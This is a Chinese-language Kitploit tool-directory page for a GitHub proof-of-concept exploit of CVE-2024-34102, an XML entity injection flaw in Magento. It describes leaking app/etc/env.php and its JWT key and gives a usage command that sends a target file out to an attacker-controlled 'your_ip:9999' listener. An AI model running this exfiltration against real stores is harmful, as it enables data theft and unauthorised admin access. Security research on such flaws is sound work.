Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-34102 — CVE-2024-34102 的概念验证漏洞利用程序，该漏洞是 Magento 中的一个严重 XML 实体注入漏洞，可导致敏感文件被窃取以及未授权管理员访问。仅供教育用途。 | Kitploit
工具/GitHubGitHub/mksundaram69/cve-2024-34102
漏洞分析漏洞利用Web应用程序漏洞利用数据泄露学习与教育
GitHubmksundaram69/cve-2024-34102

CVE-2024-34102

CVE-2024-34102 的概念验证漏洞利用程序，该漏洞是 Magento 中的一个严重 XML 实体注入漏洞，可导致敏感文件被窃取以及未授权管理员访问。仅供教育用途。

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🇮🇱 #BringThemHome #NeverAgainIsNow 🇮🇱

我们要求安全归还所有被恐怖组织哈马斯劫持为人质的公民。在所有被劫持者获释并安全回家之前，我们不会停歇。你可以帮助他们回家。 https://stories.bringthemhomenow.net/

CVE-2024-34102 PoC 🚀

本仓库包含针对 Magento 中严重 XML 实体注入漏洞（CVE-2024-34102）的概念验证（PoC）利用代码。该漏洞允许敏感文件的泄露，进而可被利用来获取对 Magento 管理功能的未授权访问。此利用代码仅用于教育目的，请负责任地使用。

概述 📖

Magento 是全球最流行的电子商务解决方案之一。2024 年 6 月，发现了一个严重的预认证 XML 实体注入问题，编号为 CVE-2024-34102。该漏洞可能导致严重后果，包括泄露 Magento 中的 app/etc/env.php 文件，该文件包含用于签署 JWT 的加密密钥。

功能特性 🌟

  • 从存在漏洞的 Magento 实例中泄露敏感文件。
  • 简单直接的用法。
  • 对 XML 实体注入的教育性演示。

使用方法 🚀

前提条件

  • Python 3.x
  • requests 库（）
pip install requests

运行利用代码

  1. 克隆仓库：

    root@kitploit:~
    git clone https://github.com/yourusername/CVE-2024-34102-exploit.git
cd CVE-2024-34102-exploit

  2. 使用必要参数执行脚本：

    root@kitploit:~
    python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999

命令行参数

  • --target-url：目标 Magento 实例的 URL。
  • --target-file：目标服务器上要泄露的文件路径。
  • --exfil-url：用于接收泄露数据的 URL。

示例 🌐

root@kitploit:~
python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999
下载工具